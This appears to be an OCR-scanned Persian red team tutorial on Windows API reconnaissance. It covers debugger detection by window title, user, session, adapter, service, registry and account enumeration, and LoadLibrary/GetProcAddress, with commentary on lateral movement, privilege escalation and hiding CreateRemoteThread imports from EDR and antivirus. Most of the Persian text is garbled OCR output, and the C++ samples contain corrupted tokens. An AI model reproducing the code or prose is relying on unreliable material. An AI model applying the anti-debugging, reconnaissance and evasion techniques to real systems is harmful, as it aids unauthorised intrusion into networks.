AV
,» BeingDebugged I8 &b (1l 3 b el ol Slos Jb> o Jad o3lopy LT &Sl auseis

\id
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Lol
BOOL IsDebuggerPresent();
oolazw! o)|9.a

SLad 0575 @y oy @
~5Lp‘5ML¥zaQQ%gkbdj)bésbebjpbgwu;J .
e, Shoas S e

1S digal

#include <Windows.h>
#include <iostream>

int main() {
if (IsDebuggerPresent()) {
std::cout << "Debugger detected. Exiting..." <<
std::endl;
return | ;
} else {
std::cout << "No debugger detected. Continuing
execution.”" << std::endl;

}

// Proceed with normal execution...
return 0O;

i s
A% v
Powwoe

" Ha remnazLe dSBURREED EMRGC 30 T

WinDBG: ,»— IsDebuggerPresent |,>/ ax.r # gai

\A
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gyaf;fQou#éu%bﬁQTxSGAGM”NxSSA¢? .
Dl oo gio b yuosd oS gzl Slos (8l Ojae j0 wole Slos ws wolaiil olge @
eloled JB Lol ool «cal PEB S yly s dS aiss o

EnumWindows .Y
RV

s b e 5o a5 (Top-Level) UL mlaw (slao e plad 40,5 ]

Slos Gleomy oluld gl — ams o 1) (ulS @b b Lo e PID w0y lgie (quyp Sl

ol Sho 0308 5 95955

Ll
BOOL EnumWindows (
WNDENUMPROC lpEnumFunc,
LPARAM lParam
)

S o Sl 1 L callback als U wacs 0,2 52 (sl &l o)

Olase bl 32 Slas Glaomiy (plolid S aiged
#include <Windows.h>
#include <iostream>
#include <string>
#include <vector>

std::vector<std::wstring> suspiciousTitles = {
L"0l1lyDbg", L"x64dbg", L"IDA", L"Immunity Debugger",

L"WinDbg"

};

BOOL CALLBACK EnumWindowsCallback (HWND hwnd, LPARAM
lParam) {

wchar t title[256];

GetWindowTextW (hwnd, title, sizeof(title) /
sizeof (wchar t));

for (const auto& suspect : suspiciousTitles) {

if (wcsstr(title, suspect.c _str())) {
std::wcout << L"[!] Suspicious window found:

" << title << std::endl;

YA
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return TRUE; // continue enumeration

int main() {
EnumWindows (EnumWindowsCallback, 0);
return 0O;

15eel1.e

Lo, Slos ol ol — GetWindowText [/ axcii- V ,gai

WS o gy |y plidlgie g 00,5 Cud 1) ooy ann 1S oax> @

2! 81,5 &y904 5 IDA x#Ydbg OllyDbg Jie ol Slos aseis woliiwl o)lse @
RY IV

freinnce (o fd & (S35 9 Cowl dhe 0y U bl oIl plolid sl pigals a5 o

Syl ils

alises oolizul sl API

by Slos asis  slaisls 4 gwjmwd NtQueryInformationProcess
olo AJlg PID PEB . I>Is

Aﬁle J_,l;,_, }l )1)5 Slos as oolw g IsDebuggerPresent

oasis doylnl slelis Jie GUI sleony il EnumWindows
oS basws AVL Slos

va
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GetUserName / GetUserNameEx @‘)3 — dJ)-.UlS &udu-“
RV
‘.\.)9.“‘5&\ ooLé:wl w‘).>| JL’> )0 uTu}u ‘5Lxsw)|\>))4§‘5).’)l5 ul.hﬁ‘_> u.i}&b LS’L’)L‘ Lgl)" e‘y k)"‘

el dde 23 0)l90 sl p opata g9dse )

(LocalUser Administrator SYSTEM  Ji.) ey C.'a.m »\.ul) .
Token Impersonation L Process Injection | o |2l laxe S,0 @

Lateral Movement L, Privilege Escalation ;| L8 ow,p pbxl @

&y B
GetUserName
BOOL GetUserName (
LPWSTR lpBuffer,
LPDWORD pcbBuffer
)
&S o bl |y Jed 4l Security Context U \blie 5,5 b @
.M‘édﬁsd}‘&ﬁ@ﬂbéﬁ}ffuhﬁ °

Cowl 00l iy 5 advapi¥Y.dll ;o

GetUserNameEx

BOOLEAN GetUserNameEx (
EXTENDED NAME FORMAT NameFormat,

LPWSTR lpNameBuffer,
PULONG nSize

);
S oo bk NameFormat jlade wll  alizes glocdB o) g )5 o @

Sl 00 iy yo5 securYYLdll s e

:NameFormat Jglake polis

oy )bu

DOMAIN\Username NameSamCompatible

(Active Directory ;) JalS ol NameDisplay
user@domain.com NameUserPrincipal
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GetUserName — oS aigos

#include <Windows.h>
#include <iostream>

int main() {
WCHAR username[2560];

DWORD size = sizeof (username) / sizeof (WCHAR) ;

if (GetUserNameW (username, &size)) {

std::wcout << L"Current User: " << username <<
std::endl;
} else {
std: :wcerr << L"GetUserName failed." <<
std::endl;

}

return 0O;

(@administrator :U:.A) QoS copmly 6,5 ol Ladd o

QoS caiply JolS Cugn b asals @

(DOMAIN\Username &, s04) GetUserNameEx — oS aigos

#include <Windows.h>
#include <Sddl.h>
#include <Security.h>
#include <iostream>

#pragma comment (1ib, "Secur32.1ib")
int main () {
WCHAR name[256];

2
ULONG size = sizeof (name) / sizeof (WCHAR) ;

if (GetUserNameEx (NameSamCompatible, name, &size)) {

std::wcout << L"Full identity (SAM): " << name
<< std::endl;
} else {

std::wcerr << L"GetUserNameEx failed." <<
std::endl;

}

n
)]

return O;

A
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Aiged (7 9)>
CORP\\jdoe

Red Team llo> o oolaiwl o )lge

00liss] digod XV

Cu9d 4-\41-' «Token Impersonation )} 2 Effective Token (@i L)

o2 Ul (en o Clas S 5l 6l W 5] 655l s Sl 5 ey (g

Sl UL mlas (sl

SYSTEM @ 3,5 Jte) CanSilS o 31 lials! o By ALy 4

EDR olax>We

Kigd oo gme JaoS EDR o 5l ilgs ol @
S o ol Jlase Oyaiay ol e
DuplicateTokenEx L ImpersonateLoggedOnUser s oWAPI LS o ooliiwl LI @

Al Seis 6,8, gy cl (S

AY
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NetSessionEnum b — 50,15 sl Lo

RV

s90ey b doee jaym S 4 oS Al S locanis aen )Ll (6l NetSessionEnum sl

45 it Gl plS el It (ol 98 oo 03l axins e

Ailoads o (L1 (5,008 ST12il) SMB 5 ,b 5
Ailos,S 3 SU s 4 300l ) D jgoay
e yd ($ADMIN.CS Jie) Administrative Shares L S1,0il slaaly Jio oulio 4

als

Red Team Sldos ;0 0,15

ol 85y Jlb S8 ool
Lateral Movement slacus,d 0,5 oy

File Share L SMB RDP l ool 5 &l

o b sl ooliinl oo 1193800 i aS0) gy 52

&6 lbgigp

NET API STATUS NetSessionEnum (
LPCWSTR servername,
LPCWSTR UncClientName,
LPCWSTR username,
DWORD level,
LPBYTE *bufptr,
DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume handle

(solS sl el )y

(oo omiile = NULL) Gua pils ol :servername

() ol cals gl 0,5 xlé :UncClientName

(D) )5 sl bl p xLs :username

(ool 5 b o)leds slp Ve o — 0+ Y b Ve Ugass) Olell] b level
bowis alelbl 3L 4y 29,5 o lil bufptr
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28 5L lecauis olasy entriesread o
3¢50 (sCaii JS oluss totalentries e

(6,le5) gawamias l,s resume_handle o

(level=Y+ (gl,») SESSION_INFO_Y+ 5Ly
typedef struct SESSION INFO 10 {

LPWSTR sesilO_ cname; // Client name
LPWSTR sesilO username; // Username
DWORD sesilO_time; // Active time (seconds)

DWORD sesil0 _idle time; // Idle time (seconds)
} SESSION INFO 10;

JU slacanis (o ylads — CH Jlis

#include <Windows.h>
#include <Lm.h>
#include <iostream>

#pragma comment (1ib, "Netapi32.1lib")

int main() {
LPSESSION INFO 10 pBuf = NULL;

DWORD entriesRead = 0, totalEntries = 0;
NET API STATUS status = NetSessionEnum (
NULL, // Local machine
NULL, // All clients
NULL, // All users
10, // Level 10 returns basic info

(LPBYTE*) &pBuf,
MAX PREFERRED LENGTH,

&entriesRead,
&totalEntries,
NULL
);
if (status == NERR Success && pBuf != NULL) ({
for (DWORD i = 0; 1 < entriesRead; ++i) {
std::wcout << L"Client: " <<
pBuf[i].sesil0 cname << std::endl;
std::wcout << L"User: " <<
pBuf[i].sesil0 username << std::endl;
std::wcout << L"Active time: " <<
pBuf[i].sesil0 time << L" sec" << std::endl;
std::wcout << L"Idle time: "L

pBuf[i].sesil0 idle time << L" sec" << std::endl;

AY
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std::wcout << std::endl;
}

} else {

std: :wcerr << L"NetSessionEnum failed with
error: " <L status << std::endl;
}

if (pBuf '= NULL) NetApiBufferFree (pBuf) ;

return 0O;

}
Red Team ,o solaw! slags lw

oolasu 99 )L

Iy Shsl glagly b byudgs a5 Sl 05 oy Jlxd SMB 0,5 oluliss
ailes ;S Mount

JW8 RDP o 5L ol o ololils 900!y slacanss il

98 sbcwnis gl Idle/Active Cuxdy o)y obej g (s Sl

69y Wb s gllo )5 &8 Slapitunn glulis Lateral Movement
s Jled la

Sldas 2l gl codladeS slagle; (8L ailiisee b

EDR olasWe
Dgh o0 gmns S5 Su e APLS, @
wlolis b ol wlgi o (MMC L net session Jie) o lasbiwl gl 3l 51 2l oolasl @
D

ololld Sy, oS gl o
&b Sls>1,8 sl, Dynamic Resolution o
(Userland) aiJ- 5" Payload o guiiwws gl 2! 5l 52y ©
s o leds gl Event Logs L WML e 351> gl ST ool o

Stealth cJl> ,o
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GetlpAddrTable ¢ GetAdaptersinfo algs — (60,15 sla Jlis
Sue
ialax | i oo &l s (58S lakal) (g0 )by Slelbl 35009 APL g (ol
‘_Jz.a IP 6L®u,u)0—‘ .
MAC sla w0l o
PR slaojlyys e
e o 2 o)lg.e &‘)ﬂ é;ly Q,g‘ ‘6‘55‘.’3 Slles L ).9)5 PRV )‘|
Jé &Sl sladaly olulis e

S b (g8 b (S1aSD 93 Slaptn s @
&lo 4&.....: L;Lhaos.).m A .

g S b ol &S 5l S apbse (s @

GetAdaptersinfo : &b

DWORD GetAdaptersInfo (
PIP ADAPTER INFO pAdapterInfo,
PULONG pOutBufLen

)/

&S o bk I, IP_ADAPTER_INFO sl Lolu 5l (oo Cand S @
(Iphlpapi.dil J;3) IP Helper API ;| _izx, o
QS o o2l 3 1) DNS g DHCP w0 jly,8 MAC uyol dP wyol clelllsl o
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IP_ADAPTER_INFO :,li5Ls

typedef struct IP ADAPTER INFO {
struct _IP ADAPTER INFO *Next;
DWORD ComboIndex;
char AdapterName [MAX ADAPTER NAME LENGTH + 4];
char Description[MAX ADAPTER DESCRIPTION LENGTH + 4];
UINT AddressLength;
BYTE Address[MAX ADAPTER ADDRESS LENGTH]; // MAC
DWORD Index;
IP ADDR STRING IpAddressList;
IP ADDR STRING GatewayList;
IP ADDR STRING DhcpServer;
BOOL HaveWins;
IP ADDR STRING PrimaryWinsServer;
IP ADDR STRING SecondaryWinsServer;
time t LeaseObtained;
time t LeaseExpires;
} IP ADAPTER INFO;

C++: GetAdaptersinfo Jw

#include <Iphlpapi.h>
#include <iostream>
#pragma comment (1ib, "Iphlpapi.lib")

int main() {
IP ADAPTER INFO adapterInfo[l6];
DWORD size = sizeof (adapterInfo);

if (GetAdaptersInfo (adapterInfo, &size) ==
ERROR_SUCCESS) {
PIP ADAPTER INFO adapter = adapterInfo;

while (adapter) {
std::cout << "Adapter: " << adapter-
>Description << std::endl;

std::cout << "IP Address: " << adapter-
>IpAddresslList.IpAddress.String << std::endl;
std::cout << "Gateway: " << adapter-

>GatewayList.IpAddress.String << std::endl;

std::cout << "MAC Address: ";

for (UINT i = 0; 1 < adapter->AddressLength;
i++) |

AY
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printf("%$02X%s", adapter->Address[i], (i
== adapter->AddressLength - 1) 2?2 "" : "-");
}
std::cout << "\n\n";
adapter = adapter->Next;
}
} else {
std::cerr << "GetAdaptersInfo failed." <<
std::endl;
}

return 0;

GetlpAddrTable :xb

DWORD GetIpAddrTable (
PMIB IPADDRTABLE pIpAddrTable,
PULONG pdwSize,
BOOL bOrder

)

wlo)fsa)b I o skl 4 cadosls plais! IPVF 6L‘°u")°] ples

<ol Iphlpapidll 5l sy cyioren @
ol Ao IP Jadd S L Sl (gl 5 <ol GetAdaptersinfo 5l 5cpul mhw o

MIB_IPADDRTABLE :,t=Ls

typedef struct _MIB TPADDRTABLE {
DWORD dwNumEntries;
MIB TPADDRROW table [ANYisIZE] ;
} MIB TPADDRTABLE;

:2el 23 3,130 Joli> MIB_IPADDRROW 2

IP ool dwAddr e
A gy Swle dwMask @

L, a>ls dwindex o

C++: GetlpAddrTable Jtw

#include <Iphlpapi.h>
#include <iostream>

#pragma comment (1ib, "Iphlpapi.lib")
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int main() {
DWORD size = 0;
GetIpAddrTable (NULL, &size, FALSE);

PMIB TPADDRTABLE ipTable =
(PMIB IPADDRTABLE)malloc(size) ;
if (GetIpAddrTable(ipTable, &size, TRUE) ==
NO_ERROR) {
for (DWORD i = 0; i < ipTable->dwNumEntries;
++1) |
IN ADDR ipAddr;
ipAddr.S un.S addr = ipTable-
>table[i] .dwAddr;

std::cout << "IP Address: " <<
inet ntoa(ipAddr) << std::endl;
}
} else {

std::cerr << "GetIpAddrTable failed." <<
std::endl;

}

free (ipTable) ;
return 0O;

}
30,8 o 5o oolaul o lge

sl XYY

S9290 slakal) 5 lesole cllss Sl Jlogyy

9 e sl lStar glapien oluls U BNES
e

Szl (5l e 5 DNS wo3ls )5 DHCP 5l oolazl puss lellb! (6 90z
ools ! Zel

S S > 9,0 5l B8 Oljee Lue (o) 2 5985 5l e dls

impersonation U Jz> (gl p a5l &,5 Cagn ausse Ol gae s

(OPSEC) wldas copsl 9 oluliss
g e lolis WEDR Loy 5,0 4 AP ol @

slcilwl b byl Sob 5l s Gloyd g J5uS lacsz )l 0 Heul jsbay Gl o @
5,5 eolawl o law

A9



7008 o5 Gl 909 APl dxwgs p (gl dende

Sk GRlBl Gl e
S5 (5,093 w2l i slagleH 8 51 0
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EnumServicesStatusEx — (g0 ,,5 sla Lo

Sue

5 00D ot (Sl gy (30,5 a0 Sl a5 el j90in9 API S, EnumServicesStatusEx sl
s Slse wile Slellbl &b cnl wiS oo oal,3 1) Doy b (oo ps 59, 121 > 5o
il S o3l

Ol siles ol g g b @
(C8g0 a8gie wids iBgin d 2! > 10) || Jad Comsg @
(PID) Las e ijloy awlils e

o 2zl BByl e o
151y Cnl 3ude (post-exploitation) 3485 5y g 30,8 o Lgl.b‘:f:}d.i.:.o)')o o094 APl -y

(NETWORK SERVICE L, SYSTEM o odls |2 ) Ul g s mlaw b (gl jus g ys 225 @

S p3b 3 S b pdicwnl Glagwgm glolis o
Jais! B uile glappilie Slolis o

Gla“; u,.u‘)sl ‘u...,...ajf O9N LSLQI“"""’ DLL 0o aisle) wasfw )| oolawl £ g .

(g yd

&b Lo
BOOL EnumServicesStatusEx (
SC_HANDLE hSCManager,
SC _ENUM TYPE InfoLevel,
DWORD dwServiceType,
DWORD dwServiceState,
LPBYTE lpServices,
DWORD cbBufSize,
LPDWORD pcbBytesNeeded,
LPDWORD lpServicesReturned,
LPDWORD lpResumeHandle,
LPCWSTR pszGroupName
)

iyl b
OpenSCManager() ;| 43,5 » Jow thSCManager o

Goilon b as e lellbl cdl s (s, SC_ENUM_PROCESS_INFO jlais dnfolevel o
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‘SIM &ng)“;’,})-“’ Lgl)" SERV'CE_W'NY’Y )‘ oolazwl :deerviceType o
SERVICE_ACTIVE L SERVICE_STATE_ALL ;I oolaul :dwServiceState .

<8l ,o |, (ENUM_SERVICE_STATUS_PROCESS ;| (dla],]) laosls 45" (5,5L dpServices o
,8L o3lail :cbBufSize o

&S oo <l yo 1) 5o ge ol 3L 39y S>5S Ojse o :ipcbBytesNeeded o
a0l 5 5L (glo gy olusi dpServicesReturned o

Sgus g0 osliiwl (pagination) gaiax=as gl dpResumeHandle o

(NULL :Uw) &yl 09,8 <lid pszGroupName o

ENUM_SERVICE_STATUS_PROCESS :,t=Lw

typedef struct ENUM SERVICE STATUS PROCESSW {
LPWSTR lpServiceName;
LPWSTR lpDisplayName;
SERVICE STATUS PROCESS ServiceStatusProcess;
} ENUM SERVICE STATUS PROCESSW;

o9y (J19) oS ol ApServiceName o
o9y ailiwgs oiules ol :IpDisplayName o
(SERVICE_RUNNING LL..A) O 9w Corog iServiceStatusProcess.dwCurrentState o

o8 ool dwlis ServiceStatusProcess.dwProcessid o
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o] Cundg g by plod Cond — Gt it

#include <Windows.h>
#include <Winsvc.h>
#include <iostream>

int main() {
SC_HANDLE hSCManager = OpenSCManager (NULL, NULL,
SC_MANAGER ENUMERATE SERVICE) ;
if ('hSCManager) {
std::cerr << "OpenSCManager failed." <<
std::endl;
return 1;

}

DWORD bytesNeeded = 0, servicesReturned = 0,
resumeHandle = 0;
EnumServicesStatuskEx (
hSCManager,
SC_ENUM PROCESS INFO,
SERVICE_WINSZ,
SERVICE STATE ALL,
NULL,

14
&bytesNeeded,
&servicesReturned,
&resumeHandle,
NULL
)

LPBYTE buffer = new BYTE[bytesNeeded];
if (EnumServicesStatusEx(
hSCManager,
SC_ENUM PROCESS INFO,
SERVICE7WIN32,
SERVICE STATE ALL,
buffer,
bytesNeeded,
&bytesNeeded,
&servicesReturned,
&resumeHandle,
NULL
) |
LPENUM SERVICE STATUS PROCESS services =
(LPENUMﬁSERVICEisTATUSiPROCESS)buffer;
for (DWORD 1 = 0; i < servicesReturned; ++i) {
std::wcout << L"Service: " <<
services[i].lpServiceName << std::endl;

ay
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std::wcout << L"Display Name: " <<
services[i].lpDisplayName << std::endl;
std::wcout << L"State: ";
switch
(services[i] .ServiceStatusProcess.dwCurrentState) {
case SERVICE RUNNING: std::wcout <<
L"Running"; break;
case SERVICE STOPPED: std::wcout <<
L"Stopped"; break;
case SERVICE PAUSED: std::wcout <<
L"Paused"; break;
default: std::wcout << L"Other"; break;
}
std::wcout << L" | PID: " <<
services[i].ServiceStatusProcess.dwProcessId <<
std::endl;
std::wcout << std::endl;
}
} else {
std::cerr << "EnumServicesStatuskEx failed." <<
std::endl;
}

delete[] buffer;

CloseServiceHandle (hSCManager) ;
return 0O;

08 4o okl o)lge
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RegOpenKeyEx / RegQueryValueEx - 45 0,5 slo Jleo
RV
| S 90 & O g ..\45.».460 oolawl )99 (_g).».m.&) )‘ ).)«bl.o.o L)"\"‘P 6‘).' AP U"‘
aiile i yls goby 0,8 gl g alas
(oadsnas 51,1381 5 ¢ foleitmens a8t Uie) it (s0s,Sn Slellbl (5 jslaan
AutoRun (s Il sloads wyy @
soioea gl 5l by oas 2S5 lellll o5g g lellll 7l Sl o

Defender coxsg g UAC Jio ol Olondas wyyy @

J1,8 AdvapiYy.dil LB o 5 ais Registry AP WINYY acgozxe g3 WAPI -yl
IRV

RegOpenKeyEx :xb

LSTATUS RegOpenKeyExXW (
HKEY hKey,
LPCWSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult

b el )y
L HKEY_LOCAL_MACHINE oile woaich,s Liw 5 ady, oS G hKey o
HKEY_CURRENT_USER
995 b Wb 45 (G345 ) ymne dpSubKey o
- lade UM ulOptions
(KEY_READ Ugaso) ;L3 g0 (oo yiwss gelaws samDesired

3% g0 0l 55k ool il ullS” 4y aS” Jous :phkResult o
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RegQueryValueEx ;&b

LSTATUS RegQueryValueExW (

HKEY hKey,

LPCWSTR lpValueName,

LPDWORD lpReserved,

LPDWORD lpType,

LPBYTE lpData,

LPDWORD lpcbData

Lo el
ol by ,o RegOpenKeyEx il 5l a5 Jouis thKey o
Asilggu 1y hlaae aualg> o a5 (5l080 oL dpValueName o
(REG_DWORD (REG_SZ l.L..a) Qe T oy 1y 00ls g3 dpType o
39 0 0pd oyl 13 lmesls a5 (5,90 dpData e

Sgu oo (Sl yjg 4 00ls (28l o3lal b (yailes o oS ol 4 8L ojlwil dpcbData @
J99ing i (ydilgs — CH+ Jlie
a2 oo inled |y Jelepinas avid g 0dilss (6w, 3l 1) ProductName jlade oS -y

#include <Windows.h>
#include <iostream>

int main() {

HKEY hKey;

const wchar t* subKey =
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";

if (RegOpenKeyExW (HKEY LOCAL MACHINE, subKey, 0,

KEY READ, &hKey) == ERROR SUCCESS) {
wchar t valuel[ 1;
DWORD value length = sizeof (value);
DWORD type = 0;

if (RegQueryValueExW(hKey, L"ProductName',
nullptr, &type, (LPBYTE)value, &value length) ==
ERROR_SUCCESS) {
std::wcout << L"Windows Version: " << value
<< std::endl;
} else {

ay
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std::wcerr << L"Failed to query value." <<
std::endl;
}

RegCloseKey (hKey) ;
} else {
std::wcerr << L"Failed to open registry key." <<
std::endl;
}

return 0O;

(HKEY) (g yz ) g, sloass,

oy auls

(5050 o138l 3 cppitampns) Cpiile (6 sl yus losdais HKEY_LOCAL_MACHINE
(6 b asl 5 o Ll 1) (sl )5 loylass HKEY_CURRENT_USER
COM (sboisl g o s L) HKEY_CLASSES_ROOT

HKEY_USERS

S sl blyp den (5
b g8l by HKEY_CURRENT_CONFIG

30,8 e oolaiwl o )lge

Jew REXTS
Obiee AU o5 lone Jolopinnn a5es (uilss dame glulids
» 3l s L o sk

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
9 b o sl HKLM\SYSTEM\CurrentControlSet\Control\Lsa ,> g>g wy 4 e

)l 4ol ,Lzel

HKLM\Software\Microsoft\Windows  ,> Defender <cosxsy (ow,yp gls 5l 3
Defender

3 od s sl)lle oo NBlps Cunped

HKLM\SOFTWARE\Mi;rosoft\Windows\CurrentVersion\Uninstall
oaeseid g OPSEC &lsS
A oadodlatwl s o o5l LAPI -l e
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WS lag
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LoadLibraryA / LoadLibraryW - (g5 0,5 sla Jlee

S sy

DLL S (5,135 ,L sy a5 iz 590y ol (sWAPI 5l LoadLibraryW 4 LoadLibraryA slaals
Oygods g oo iy ya5 kernel VY.l jo adlgs cpl dgd so ool sailgsl,d (aslo e ol slas o
S oo Sle=1,8 | ntdlldll )l LdrLoadDIl &6 J=1s

Tl G 5 (2l ey sladsile dayslys daaigsdl o) S5l slal58le 5 )0 &l ()l
0le i)l soge s )5 50

Reflective DLL (20 F o

Sideloading _yig, 4 DLL (5,l35,L e

)l}éb.g L;)L')f)l.‘» LQL“’)?‘:‘.*:*"‘" o

Payload (3,5 Ugue @

A (3] 593 5 (s LS e

&l )l
HMODULE LoadLibraryA (LPCSTR lpLibFileName) ;
HMODULE LoadLibraryW (LPCWSTR lpLibFileName) ;

0,8 50 ANSI aisy (63g,9 LoadLibraryA e
0,8 o0 IS gy Al (639,9 LoadLibraryW e

oS &y 50 NULL b 0518 ,5 o s (o0 (6,135 ,L DLL 4l (o ol) Joia g0 0 @

(Windows Loader) (lala s,
D9 oo Sle> 8 LoadLibrary* 8,

9d 0 el 25 w4 DLL jose g2ins )
0as (5,15 ol 5l adky o5 GlgygSpls
(C:\Windows\SystemYY o) pacew (5,955 s @
(o238 )55k ) ()P s (55955 pls @
ey e pls e
Sl Gyl e
PATH laors s j0 ool Cund slas o8 plo @
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relocation ;Lo &jso ,0 g 9gud oo CudlS alidl> 4y ntdlliLdrLoadDll 3l eslaw! LDLL .Y

39 o0 ploxil
gl oo Jo> Import Address Table (IAT) & ,b 5l bo Siwsls .Y
59 oo Sly>,3 DLL_PROCESS_ATTACH cJl> L DLL (DIIMain) 59,9 alais ¥

04 g0 0il8,5 5L Josa lgieds DLL al (wyol cidibgn &ygo 0 .0

LoadLibraryW s LoadLibraryA < sl
Sl (ASCH slaaiis ) ANSI glearis, ¢l LoadLibraryA e

Oyde sloasly jo ¢ coul (wide-character) oS’ gy (sloais, gl Loadlibraryw e
Sl oo 0318 s 5
sl g GUsb lo s yign Slossy 516 0sS oolatwl LoadlibraryW 5l oS oow dioen
gy 0440 DLL adl oy

LoadLibraryW L C++ eolw Jtee

#include <Windows.h>
#include <iostream>

int main () {
const wchar t* dllbPath =
L"C:\\Windows\\System32\\user32.d11";
HMODULE hMod = LoadLibraryW(dllPath);

if (hMod) {

std::wcout << L"Successfully loaded: " <<
dllPath << std::endl;

std: :wcout << L"Base address: " << hMod <<
std::endl;

FreelLibrary(hMod); // Optional

} else {

std: :wcerr << L"Failed to load DLL." <<

std::endl;

}

return 0O;

GetProcAddress L Siulols &jg0as ailgs (6,135,L

DS Sl Sealils &ygons 1) o U3 ailg aules oo doadLibrary b DLL (5,35 )b 5l o

Ve
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typedef int (WINAPI* MSGBOXW) (HWND, LPCWSTR, LPCWSTR,
UINT) ;

HMODULE user32 = LoadLibraryW(L"user32.d11");
MSGBOXW myMsgBox = (MSGBOXW)GetProcAddress (user32,
"MessageBoxW") ;

myMsgBox (NULL, L"Dynamic call successful", L"Info",
MB_OK) ;

Joor sleslitul sl 12l oy 50 WAPT Jls21 3 (sl ol 3las g LaaS' L5 daapatins 55 (b,
Ll Jgoze (IMport Table) cils,lg

S8l g Red Team o o, S

ol SSS

«s%liw dja-'-‘ L d)l.;f)l_? 9 DLL ctws cunlEs Reflective DLL Injection

Ll oley yo Blal sl 6,188, Stagers & Loaders

APl J> |, GetProcAddress 4 LoadLibrary ;| eslai.l Packers / AV Evasion
Sl oty

5 ooliiwlegw b pme (o jme e laDLL (5,135 )L DLL Sideloading

WDLL (5,138 i

595 a5 rundliYY.exe Jio ot slas,ml jl eslizal  Living off the Land (LOLBin)

auS oo Slg>1,8 |, LoadLibrary

o )lew jome U LoadLibraryA e iy Jle

#include <Windows.h>
#include <iostream>
int main() {
const char* dllPath =
"C:\\Users\\Public\\mydll.d1l1l";
HMODULE hDl11 = LoadLibraryA(dllPath);
if (hD11l) {
std::cout << "Loaded DLL at base address: " <<
hDl11l << std::endl;
Freelibrary(hD11);
} else {
std::cerr << "Failed to load DLL. Error code: "
<< GetlLastError () << std::endl;
}

return O;

S oolawl GetlastError() 5l (g 135 L Sl 28, (6l

VoY
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LoadLibrary ce.Ss guly kUs
S g3 Iy 92> juns )0 DLL @
(o PE (0) s ot DLL @
Slosied b Siasly
o dgduns Applocker L Windows Defender lawgs ,Ja5 L @
S PP LYY w55l e

LoadLibrary :yo; 539 3 (sws il
Sy DLL g &yg0a Qi 4y g aiiS ed oolatwl LoadLibrary 5l Red Team «d )iy slo )l
1008 oo Gl aladl>

PE sloyon Jdoi @
abadl> @ b oo cOS e
relocations zbal o
Gd Dygots b Sy J> @
DliMain qiws Jlg>1,8 @
D9 oo kernelY'YiLoadLlibrary (sq, hooks lawgs aseis o9 o0 el 5 oyl
Sl sy slray alyy Sooligls (35 1 e
S Slel s Salils 1) o] (CreateRemoteThread Jio (wlu solgs 43,50 l5 sl>a
HMODULE hKernel32 = LoadLibraryW(L"kernel32.dl11");
auto pCreateRemoteThread =
(LPTHREAD START ROUTINE) GetProcAddress (hKernel32,
"CreateRemoteThread") ;
if (pCreateRemoteThread) {
// call dynamically
}

g dgle Sl Judo gla,lyl 5 asls Import Address Table ;o b 098 o0 el S

LoadLibrary :yga PEB Sl o 551>

:0lg3 oo LoadLibrary o5 je0 (gl
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0,5 Cuwygd Process Environment Block (PEB) 1 1, ool (6,135,L sla Jo5le @
5,5 Juwlew Iy loader e @
0,5 lay Iy eDLL ol @
3,5 oolaiwl ouis (5,105 )L sl Jgsle (59, GetProcAddress ;| e
oolaiwl DLL (5,135,L slohook (555 ;90 (gl aid iy CV (sloS j500,8 o o)l 38l Jawgi g, (pl

P9

oo St

hook L, SU el Sews LoadLibrary gls>1,3 oo EDR Llai 445

Lasl o b Jgereye loDLL (g I35, SgSdie slaDLL
Sl UL S,

L 6)la8,L b PEB Sl ¢(g 5l oo 5 ool b, Sl
syscall

loader (AP 3l oolawl (jguy  gwws coislSS ey 35>

o=l oldes (o Loadlibrary coeal :anls
epayload 5,5 ,Ugaw g DLL (5,I35 L as @
bl gley 0 ply Salils Glgsld el o
SEU T P MCRNSEN: P
s> 050 oS i b s syscall o ciws CllS L 05 90 colE e
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NetUserEnum / NetUserGetInfo - (g0, 5 sla Jle

Bar

S8l o g 6,5 Gl (15,5 Caw s (gl witius NetAPIYY albulis | Sy aS &l g0 oo
il g so ool b o by gds el

Sl slepl o

o 88 o Jud s (JWd) Sl Consg o

S909 hey el e

(Ologe )ladlinl )5 (oitccs poe) (g yiwd o @
03l9,35 scusbiw g boog)S )0 Logas @

Sloyeste e Syl pcugd o
sy e B ALE 5@
il a5 s Gae lolis e
als Slelbl 5 glaes g slobs @

&5 2 G9m
NetUserEnum

NET API STATUS NetUserEnum (
LPCWSTR servername,
DWORD level,
DWORD filter,
LPBYTE *bufptr,
DWORD prefmaxlen,
LPDWORD entriesread,
LPDWORD totalentries,
LPDWORD resume handle

oo igalS (gl NULL L 50 ofy jg0slS :servername o
VLY e) il olsse oy devel o
(FILTER_NORMAL_ACCOUNT U...a) I e &9 LS filter
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(Lg).g)lf LgL:b)L‘&L.: )'l 6‘4?.‘)]) =3y ).9[; £y Lg)fa)Li}‘ bufptr e
odbosls CulF il (699,9 Wiz wBd oo HliS 4T 9,5 yolds entriesread / totalentries o

() S b sanaxis gy resume_handle o

NetUserGetInfo
WS e 2Ll Feels 65y B )8 el Slelll]

NET API STATUS NetUserGetInfo (
LPCWSTR servername,
LPCWSTR username,
DWORD level,
LPBYTE *bufptr

(L) Usone) 3> pelans 008 (s devel o
30,8 oo b 1y 0 mé g USER_INFO_Y USER_INFO_) asile (g b5l @

Lg..\.:.lf Lng)L‘;_‘}Lm
USER_INFO_ -
el )5 pb Jolss Laad

typedef struct USER INFO 0 {
LPWSTR usri(O name;
} USER _INFO 0;

USER_INFO_\
Sgbo Jols |y e g (o yiws gelanw 03lg 357 s aiile (6 yin LS5

typedef struct USER INFO 1 {
LPWSTR usril name;
LPWSTR usril password;
DWORD usril password age;
DWORD usril priv;
LPWSTR usril home dir;
LPWSTR usril comment;
DWORD usril flags;
LPWSTR usril script path;

} USER_INFO 1;
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#include <Windows.h>
#include <Lm.h>
#include <iostream>

#pragma comment (1ib, "Netapi32.1lib")

int main() {
LPUSER INFO 1 pBuf = NULL;
DWORD entriesRead = 0, totalEntries = 0;
NET API STATUS status = NetUserEnum(
NULL, // local computer
1, // level 1 = USER _INFO 1
FILTER NORMAL ACCOUNT, // filter for normal user
accounts
(LPBYTE*) &pBuf,
MAX PREFERRED LENGTH,
&entriesRead,
&totalEntries,

NULL
)
if (status == NERR Success && pBuf !'= NULL) ({
for (DWORD i = 0; 1 < entriesRead; ++i) {
std::wcout << L"Username: " <<
pBuf[i].usril name << std::endl;
std::wcout << L"Privilege: " <<
(pBuf [i] .usril priv == USER PRIV ADMIN ?
